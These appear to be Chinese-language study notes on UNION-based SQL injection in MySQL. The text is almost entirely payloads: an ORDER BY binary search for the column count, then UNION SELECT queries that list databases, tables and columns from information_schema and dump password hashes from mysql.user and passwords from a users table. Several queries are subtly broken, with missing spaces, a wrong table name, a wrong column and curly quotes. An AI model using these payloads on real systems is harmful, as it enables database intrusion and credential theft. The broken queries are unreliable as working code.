判断字段有多少
使用的是order by命令
使用的是二分法判断
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 100;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 50;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 25;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 38;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 44;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 47;
SELECT * FROM mysql.user WHERE user = ‘root’ ORDER BY 49;
查看库名
SELECT * FROM mysql.user WHERE user = ‘root’ union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.SCHEMATA;
也可以用下面这个命令来查询
SELECT * FROM mysql.user WHERE user = ‘root’ and1=2 union select(select group_concat(schema_name)from information_schema.schema) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49;
查看表名
SELECT * FROM mysql.user WHERE user = ‘root’ union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.TABLES where TABLE_schema = ‘mysql’;
也可以用
SELECT * FROM mysql.user WHERE user = ‘root’ and1=2 union select(select group_concat(table_name)from information_schema.tables where table_schema=’test’) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49;
查看列名
SELECT * FROM mysql.user WHERE user = ‘root’ union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.COLUMNS where TABLE_name = ‘user’ ;
也可以用：
SELECT * FROM mysql.user WHERE user = ‘root’ and1=2 union select(select group_concat(table_name)from information_schema.columns where table_schema=’test’and table_name=’users’) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49;
查看字段内容：
SELECT * FROM mysql.user WHERE user = ‘root’ union select Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,password_last_changed,password_lifetime,account_locked,Create_role_priv,Drop_role_priv,Password_reuse_history,Password_reuse_time from mysql.user;
也可以用：
SELECT * FROM mysql.user WHERE user = ‘root’ and1=2 union select(select group_concat(id,0x7e,password,0x7e,ip,0x7e,email,0x7e,time)from test.users) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49;